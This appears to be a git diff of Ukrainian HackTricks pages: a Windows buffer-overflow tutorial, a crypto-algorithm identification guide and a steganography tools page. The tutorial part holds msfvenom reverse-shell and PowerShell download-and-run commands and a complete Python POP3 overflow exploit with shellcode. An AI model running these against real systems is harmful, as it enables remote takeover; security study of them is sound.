||||
|
||||
![](<../.gitbook/assets/image (555).png>)
|
||||
|
||||
Тепер, всередині цієї пам'яті вам слід знайти деякі байти JMP ESP, щоб це зробити, виконайте:
|
||||
```
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||
```
|
||||
**Потім, якщо знайдено якусь адресу, виберіть таку, яка не містить жодних поганих символів:**
|
||||
|
||||
![](<../.gitbook/assets/image (605).png>)
|
||||
|
||||
**У цьому випадку, наприклад: \_0x5f4a358f**\_
|
||||
|
||||
## Створення shellcode
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
```
|
||||
Якщо експлойт не працює, але повинен (ви можете побачити за допомогою ImDebg, що досягнуто shellcode), спробуйте створити інші shellcode (msfvenom створить різні shellcode для тих самих параметрів).
|
||||
|
||||
**Додайте деякі NOPS в початок** shellcode та використовуйте його та адресу повернення для JMP ESP, і завершіть експлойт:
|
||||
```bash
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
ip = '10.11.25.153'
|
||||
port = 110
|
||||
|
||||
shellcode = (
|
||||
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
|
||||
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
|
||||
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
|
||||
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
|
||||
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
|
||||
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
|
||||
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
|
||||
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
|
||||
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
|
||||
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
|
||||
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
|
||||
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
|
||||
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
|
||||
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
|
||||
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
|
||||
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
|
||||
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
|
||||
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
|
||||
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
|
||||
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
|
||||
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
|
||||
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
|
||||
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
|
||||
"\x2d\xb8\x63\xe2\x4e\xe9"
|
||||
)
|
||||
|
||||
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Існують shellcode, які **перезаписують себе**, тому важливо завжди додавати деякі NOPs перед shellcode
|
||||
{% endhint %}
|
||||
|
||||
## Покращення shellcode
|
||||
|
||||
Додайте ці параметри:
|
||||
```bash
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -2,19 +2,20 @@
|
|||
|
||||
## Криптографічні/Компресійні Алгоритми
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Визначення Алгоритмів
|
||||
|
||||
|
@ -26,36 +27,36 @@
|
|||
|
||||
Якщо використовується ця функція, ви можете знайти, який **алгоритм використовується**, перевіривши значення другого параметра:
|
||||
|
||||
![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (156).png>)
|
||||
|
||||
Перевірте тут таблицю можливих алгоритмів та їх призначених значень: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
Перевірте тут таблицю можливих алгоритмів та їх призначені значення: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
Стискає та розпаковує заданий буфер даних.
|
||||
Стискає та розстискує заданий буфер даних.
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
З [документації](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Функція **CryptAcquireContext** використовується для отримання дескриптора певного контейнера ключів у певному постачальнику криптографічних послуг (CSP). **Цей отриманий дескриптор використовується в викликах функцій CryptoAPI**, які використовують вибраний CSP.
|
||||
З [документації](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Функція **CryptAcquireContext** використовується для отримання дескриптора певного контейнера ключів у певному постачальнику криптослужб (CSP). **Цей отриманий дескриптор використовується в викликах функцій CryptoAPI**, які використовують вибраний CSP.
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
Ініціює хешування потоку даних. Якщо використовується ця функція, ви можете знайти, який **алгоритм використовується**, перевіривши значення другого параметра:
|
||||
|
||||
![](<../../.gitbook/assets/image (376).png>)
|
||||
![](<../../.gitbook/assets/image (549).png>)
|
||||
|
||||
\
|
||||
Перевірте тут таблицю можливих алгоритмів та їх призначених значень: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
Перевірте тут таблицю можливих алгоритмів та їх призначені значення: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Константи коду
|
||||
|
||||
Іноді дуже легко визначити алгоритм завдяки тому, що він потребує використання спеціального та унікального значення.
|
||||
|
||||
![](<../../.gitbook/assets/image (370).png>)
|
||||
![](<../../.gitbook/assets/image (833).png>)
|
||||
|
||||
Якщо ви шукаєте першу константу в Google, отримаєте наступне:
|
||||
|
||||
![](<../../.gitbook/assets/image (371).png>)
|
||||
![](<../../.gitbook/assets/image (529).png>)
|
||||
|
||||
Отже, можна припустити, що розгорнута функція - це **калькулятор sha256**.\
|
||||
Ви можете шукати будь-яку іншу константу і, ймовірно, отримаєте той самий результат.
|
||||
|
@ -65,9 +66,9 @@
|
|||
Якщо код не має значущої константи, можливо, він **завантажує інформацію з розділу .data**.\
|
||||
Ви можете отримати доступ до цих даних, **згрупувати перше слово** та шукати його в Google, як ми робили в попередньому розділі:
|
||||
|
||||
![](<../../.gitbook/assets/image (372).png>)
|
||||
![](<../../.gitbook/assets/image (531).png>)
|
||||
|
||||
У цьому випадку, якщо ви шукаєте **0xA56363C6**, ви дізнаєтеся, що це пов'язано з **таблицями алгоритму AES**.
|
||||
У цьому випадку, якщо ви шукаєте **0xA56363C6**, ви можете дізнатися, що це пов'язано з **таблицями алгоритму AES**.
|
||||
|
||||
## RC4 **(Симетрична Криптографія)**
|
||||
|
||||
|
@ -76,118 +77,118 @@
|
|||
Складається з 3 основних частин:
|
||||
|
||||
* **Етап ініціалізації/**: Створює **таблицю значень від 0x00 до 0xFF** (всього 256 байтів, 0x100). Цю таблицю зазвичай називають **Таблицею Заміни** (або SBox).
|
||||
* **Етап перемішування**: Пройде **по таблиці**, створеній раніше (цикл з 0x100 ітерацій, знову) змінюючи кожне значення за допомогою **пів-випадкових** байтів. Для створення цих пів-випадкових байтів використовується **ключ RC4**. Ключі RC4 можуть бути **від 1 до 256 байтів у довжину**, проте зазвичай рекомендується, щоб вони були більше 5 байтів. Зазвичай ключі RC4 мають довжину 16 байтів.
|
||||
* **Етап XOR**: Нарешті, відкритий текст або шифротекст **XOR-ються зі створеними значеннями раніше**. Функція для шифрування та дешифрування однакова. Для цього буде виконано **цикл через створені 256 байтів** стільки разів, скільки потрібно. Це зазвичай визначається в розгорнутому коді з **%256 (mod 256)**.
|
||||
* **Етап перемішування**: Пройде **по таблиці**, створеній раніше (цикл з 0x100 ітерацій, знову) змінюючи кожне значення за допомогою **пів-випадкових** байтів. Для створення цих пів-випадкових байтів використовується **ключ RC4**. Ключі RC4 можуть бути **від 1 до 256 байтів у довжину**, проте зазвичай рекомендується, щоб він був більше 5 байтів. Зазвичай ключі RC4 мають довжину 16 байтів.
|
||||
* **Етап XOR**: Нарешті, відкритий текст або шифротекст **XORується зі створеними значеннями раніше**. Функція для шифрування та дешифрування однакова. Для цього буде виконано **цикл через створені 256 байтів** стільки разів, скільки потрібно. Це зазвичай визначається в розгорнутому коді з **%256 (mod 256)**.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Для визначення RC4 в розкладці/розгорнутому коді можна перевірити 2 цикли розміром 0x100 (з використанням ключа) та потім XOR вхідних даних зі 256 значеннями, створеними раніше в цих 2 циклах, ймовірно, використовуючи %256 (mod 256)**
|
||||
**Для визначення RC4 в розкладці/розгорнутому коді можна перевірити наявність 2 циклів розміром 0x100 (з використанням ключа) та потім XOR вхідних даних зі 256 значеннями, створеними раніше в цих 2 циклах, ймовірно, використовуючи %256 (mod 256)**
|
||||
{% endhint %}
|
||||
|
||||
### **Етап ініціалізації/Таблиця Заміни:** (Зверніть увагу на число 256, використане як лічильник, та те, як 0 записано на кожному місці з 256 символів)
|
||||
|
||||
![](<../../.gitbook/assets/image (377).png>)
|
||||
![](<../../.gitbook/assets/image (584).png>)
|
||||
|
||||
### **Етап перемішування:**
|
||||
|
||||
![](<../../.gitbook/assets/image (378).png>)
|
||||
![](<../../.gitbook/assets/image (835).png>)
|
||||
|
||||
### **Етап XOR:**
|
||||
|
||||
![](<../../.gitbook/assets/image (379).png>)
|
||||
![](<../../.gitbook/assets/image (904).png>)
|
||||
|
||||
## **AES (Симетрична Криптографія)**
|
||||
|
||||
### **Характеристики**
|
||||
|
||||
* Використання **таблиць заміни та таблиць пошуку**
|
||||
* Можливо **відрізнити AES завдяки використанню конкретних значень таблиць пошуку** (констант). _Зауважте, що **константа** може бути **збережена** в бінарному **або створена**_ _**динамічно**._
|
||||
* Можливо **відрізнити AES завдяки використанню конкретних значень таблиць пошуку** (констант). _Зауважте, що **константа** може бути **збережена** в бінарному файлі **або створена**_ _**динамічно**._
|
||||
* **Ключ шифрування** повинен бути **кратним** 16 (зазвичай 32 байти), і зазвичай використовується **IV** довжиною 16 байтів.
|
||||
|
||||
### Константи SBox
|
||||
|
||||
![](<../../.gitbook/assets/image (380).png>)
|
||||
![](<../../.gitbook/assets/image (208).png>)
|
||||
|
||||
## Змій **(Симетрична Криптографія)**
|
||||
## Serpent **(Симетрична Криптографія)**
|
||||
|
||||
### Характеристики
|
||||
|
||||
* Рідко зустрічається вірусне програмне забезпечення, але є приклади (Ursnif)
|
||||
* Просто визначити, чи алгоритм є Змією, або ні, на основі його довжини (дуже довга функція)
|
||||
* Рідко зустрічається віруси, які використовують його, але є приклади (Ursnif)
|
||||
* Просто визначити, чи алгоритм є Serpent або ні за його довжиною (дуже довга функція)
|
||||
|
||||
### Визначення
|
||||
|
||||
На наступному зображенні зверніть увагу на те, як використовується константа **0x9E3779B9** (зверніть увагу, що ця константа також використовується іншими криптографічними алгоритмами, такими як **TEA** -Tiny Encryption Algorithm).\
|
||||
На наступному зображенні зверніть увагу, як використовується константа **0x9E3779B9** (зверніть увагу, що ця константа також використовується іншими криптографічними алгоритмами, наприклад **TEA** -Tiny Encryption Algorithm).\
|
||||
Також зверніть увагу на **розмір циклу** (**132**) та **кількість операцій XOR** в **інструкціях розкладки** та в **прикладі коду**:
|
||||
|
||||
![](<../../.gitbook/assets/image (381).png>)
|
||||
![](<../../.gitbook/assets/image (547).png>)
|
||||
|
||||
Як було зазначено раніше, цей код можна візуалізувати всередині будь-якого декомпілятора як **дуже довгу функцію**, оскільки всередині неї **немає стрибків**. Розгорнутий код може виглядати наступним чином:
|
||||
Як було зазначено раніше, цей код можна візуалізувати всередині будь-якого декомпілятора як **дуже довгу функцію**, оскільки всередині неї **немає стрибків**. Розгорнутий код може виглядати наступним чином:
|
||||
|
||||
![](<../../.gitbook/assets/image (382).png>)
|
||||
![](<../../.gitbook/assets/image (513).png>)
|
||||
## RSA **(Асиметричне шифрування)**
|
||||
|
||||
### Характеристики
|
||||
|
||||
* Складніший, ніж симетричні алгоритми
|
||||
* Немає постійних значень! (важко визначити власну реалізацію)
|
||||
* Немає постійних значень! (визначення власних реалізацій ускладнене)
|
||||
* KANAL (криптоаналізатор) не показує підказок щодо RSA, оскільки він ґрунтується на постійних значеннях.
|
||||
|
||||
### Визначення за порівнянням
|
||||
### Ідентифікація за порівнянням
|
||||
|
||||
![](<../../.gitbook/assets/image (383).png>)
|
||||
![](<../../.gitbook/assets/image (1113).png>)
|
||||
|
||||
* У рядку 11 (ліворуч) є `+7) >> 3`, що таке саме, як у рядку 35 (праворуч): `+7) / 8`
|
||||
* У рядку 11 (ліворуч) є `+7) >> 3`, що є таким самим, як у рядку 35 (праворуч): `+7) / 8`
|
||||
* Рядок 12 (ліворуч) перевіряє, чи `modulus_len < 0x040`, а в рядку 36 (праворуч) перевіряється, чи `inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 & SHA (хеш)
|
||||
## MD5 & SHA (хешування)
|
||||
|
||||
### Характеристики
|
||||
|
||||
* 3 функції: Ініціалізація, Оновлення, Фіналізація
|
||||
* Схожі функції ініціалізації
|
||||
|
||||
### Визначення
|
||||
### Ідентифікація
|
||||
|
||||
**Ініціалізація**
|
||||
|
||||
Ви можете визначити обидва, перевіряючи постійні значення. Зверніть увагу, що sha\_init має 1 постійне значення, якого немає у MD5:
|
||||
Ви можете ідентифікувати обидва, перевіряючи постійні значення. Зверніть увагу, що sha\_init має 1 постійне значення, якого немає у MD5:
|
||||
|
||||
![](<../../.gitbook/assets/image (385).png>)
|
||||
![](<../../.gitbook/assets/image (406).png>)
|
||||
|
||||
**MD5 Transform**
|
||||
|
||||
Зверніть увагу на використання більше постійних значень
|
||||
|
||||
![](<../../.gitbook/assets/image (253) (1) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (253) (1) (1).png>)
|
||||
|
||||
## CRC (хеш)
|
||||
## CRC (хешування)
|
||||
|
||||
* Менший та ефективніший, оскільки його функція полягає в пошуку випадкових змін у даних
|
||||
* Використовує таблиці пошуку (тому ви можете визначити постійні значення)
|
||||
* Менший та ефективніший, оскільки його функція полягає в виявленні випадкових змін у даних
|
||||
* Використовує таблиці пошуку (тому ви можете ідентифікувати постійні значення)
|
||||
|
||||
### Визначення
|
||||
### Ідентифікація
|
||||
|
||||
Перевірте **постійні значення таблиці пошуку**:
|
||||
|
||||
![](<../../.gitbook/assets/image (387).png>)
|
||||
![](<../../.gitbook/assets/image (508).png>)
|
||||
|
||||
Алгоритм хешування CRC виглядає так:
|
||||
|
||||
![](<../../.gitbook/assets/image (386).png>)
|
||||
![](<../../.gitbook/assets/image (391).png>)
|
||||
|
||||
## APLib (Компресія)
|
||||
## APLib (Стиснення)
|
||||
|
||||
### Характеристики
|
||||
|
||||
* Нерозпізнавані постійні значення
|
||||
* Ви можете спробувати написати алгоритм на Python та шукати схожі речі в Інтернеті
|
||||
|
||||
### Визначення
|
||||
### Ідентифікація
|
||||
|
||||
Графік досить великий:
|
||||
|
||||
![](<../../.gitbook/assets/image (207) (2) (1).png>)
|
||||
|
||||
Перевірте **3 порівняння для визначення**:
|
||||
Перевірте **3 порівняння для його визначення**:
|
||||
|
||||
![](<../../.gitbook/assets/image (384).png>)
|
||||
![](<../../.gitbook/assets/image (430).png>)
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Виделки-трюки
|
||||
# Виделка трюки
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакінг-трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Група з безпеки Try Hard**
|
||||
|
||||
|
@ -22,7 +23,7 @@
|
|||
|
||||
***
|
||||
|
||||
## **Видобуток даних з файлів**
|
||||
## **Вилучення даних з файлів**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
|
@ -32,9 +33,9 @@ binwalk file # Displays the embedded data
|
|||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
### **Foremost**
|
||||
### **Найголовніше**
|
||||
|
||||
Відновлює файли на основі їх заголовків та підписів, корисний для зображень png. Встановлюється через `apt` з джерелом на [GitHub](https://github.com/korczis/foremost).
|
||||
Відновлює файли на основі їх заголовків та підписів, корисно для зображень у форматі png. Встановлюється через `apt` з джерелом на [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
|
@ -46,7 +47,7 @@ exiftool file # Shows the metadata
|
|||
```
|
||||
### **Exiv2**
|
||||
|
||||
Аналогічно до exiftool, для перегляду метаданих. Встановлюється через `apt`, джерело на [GitHub](https://github.com/Exiv2/exiv2), і має [офіційний веб-сайт](http://www.exiv2.org/).
|
||||
Аналогічно до exiftool, для перегляду метаданих. Встановлюється через `apt`, джерело на [GitHub](https://github.com/Exiv2/exiv2), та має [офіційний веб-сайт](http://www.exiv2.org/).
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
|
@ -70,19 +71,19 @@ strings -e B -n 6 file # 32bit strings (big-endian)
|
|||
```
|
||||
### **Порівняння (cmp)**
|
||||
|
||||
Корисно для порівняння зміненого файлу з його оригінальною версією, знайденою в Інтернеті.
|
||||
Корисно для порівняння модифікованого файлу з його оригінальною версією, знайденою в Інтернеті.
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **Видобуток Прихованих Даних у Тексті**
|
||||
## **Видобуток схованих даних в тексті**
|
||||
|
||||
### **Приховані Дані у Пропусках**
|
||||
### **Приховані дані в пробілах**
|
||||
|
||||
Невидимі символи в здавалося б порожніх пропусках можуть приховувати інформацію. Щоб видобути ці дані, відвідайте [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
Невидимі символи в здається порожніх пробілах можуть приховувати інформацію. Щоб видобути ці дані, відвідайте [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
|
||||
## **Видобуток Даних з Зображень**
|
||||
## **Видобуток даних зображень**
|
||||
|
||||
### **Визначення Деталей Зображення за Допомогою GraphicMagick**
|
||||
### **Визначення деталей зображення за допомогою GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) служить для визначення типів файлів зображень та виявлення потенційних пошкоджень. Виконайте наведену нижче команду, щоб перевірити зображення:
|
||||
```bash
|
||||
|
@ -94,16 +95,16 @@ cmp original.jpg stego.jpg -b -l
|
|||
```
|
||||
### **Steghide для Приховування Даних**
|
||||
|
||||
Steghide дозволяє приховувати дані в файлах `JPEG, BMP, WAV та AU`, здатний вбудовувати та видобувати зашифровані дані. Встановлення просте за допомогою `apt`, а його [вихідний код доступний на GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
Steghide сприяє приховуванню даних у файлах `JPEG, BMP, WAV та AU`, здатний вбудовувати та видобувати зашифровані дані. Встановлення просте за допомогою `apt`, а його [вихідний код доступний на GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Команди:**
|
||||
|
||||
* `steghide info file` показує, чи містить файл приховані дані.
|
||||
* `steghide info file` вказує, чи містить файл приховані дані.
|
||||
* `steghide extract -sf file [--passphrase password]` видобуває приховані дані, пароль необов'язковий.
|
||||
|
||||
Для веб-екстракції відвідайте [цей веб-сайт](https://futureboy.us/stegano/decinput.html).
|
||||
Для веб-основаного видобування відвідайте [цей веб-сайт](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Атака Брутфорсом з використанням Stegcracker:**
|
||||
**Атака "Брутфорс" за допомогою Stegcracker:**
|
||||
|
||||
* Для спроби взлому пароля в Steghide використовуйте [stegcracker](https://github.com/Paradoxis/StegCracker.git) наступним чином:
|
||||
```bash
|
||||
|
@ -111,34 +112,32 @@ stegcracker <file> [<wordlist>]
|
|||
```
|
||||
### **zsteg для файлів PNG та BMP**
|
||||
|
||||
zsteg спеціалізується на виявленні прихованих даних у файлах PNG та BMP. Встановлення виконується за допомогою `gem install zsteg`, з його [джерелом на GitHub](https://github.com/zed-0xff/zsteg).
|
||||
zsteg спеціалізується на виявленні прихованих даних в файлах PNG та BMP. Встановлення виконується за допомогою `gem install zsteg`, з джерелом на [GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**Команди:**
|
||||
|
||||
* `zsteg -a file` застосовує всі методи виявлення на файлі.
|
||||
* `zsteg -a file` застосовує всі методи виявлення до файлу.
|
||||
* `zsteg -E file` вказує навантаження для вилучення даних.
|
||||
|
||||
### **StegoVeritas та Stegsolve**
|
||||
|
||||
**stegoVeritas** перевіряє метадані, виконує трансформації зображень та застосовує грубу силу LSB серед інших функцій. Використовуйте `stegoveritas.py -h` для повного списку параметрів та `stegoveritas.py stego.jpg` для виконання всіх перевірок.
|
||||
|
||||
**Stegsolve** застосовує різні кольорові фільтри для виявлення прихованих текстів або повідомлень у зображеннях. Він доступний на [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
**Stegsolve** застосовує різні кольорові фільтри для виявлення прихованих текстів або повідомлень в зображеннях. Він доступний на [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
|
||||
### **FFT для виявлення прихованого вмісту**
|
||||
|
||||
Техніки швидкого перетворення Фур'є можуть розкрити прихований вміст у зображеннях. Корисні ресурси включають:
|
||||
